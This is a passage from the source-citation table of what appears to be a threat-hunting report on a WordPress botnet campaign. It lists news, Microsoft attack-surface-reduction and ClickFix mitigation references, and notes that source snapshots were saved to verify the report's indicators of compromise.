| 2 | Cybersecurity News | Corroboration of victim geography and the unpatched-WordPress root-cause detail | 2026-08-21 |
| 2 | GBHackers | Independent re-transcription of the IOC table (cross-checked against primary source; not used as the source of truth for any shipped IOC) | 2026-08-21 |
| — | Microsoft Learn — Attack surface reduction rules reference | ASR rule GUIDs cited in Section 12 hardening (Playbook 1) | 2026-08-21 |
| — | ClickFix Wiki — Mitigations | Run-dialog/GPO mitigation guidance cited in Section 12 | 2026-08-21 |
Verbatim (or, where noted, fallback-fetched) source snapshots saved to StopAndProtect-WordPress-Botnet-Hunt-sources/ for provenance verification of every atomic IOC in Section 4/10. The dropped source (databreaches.net, inaccessible) is documented there as well.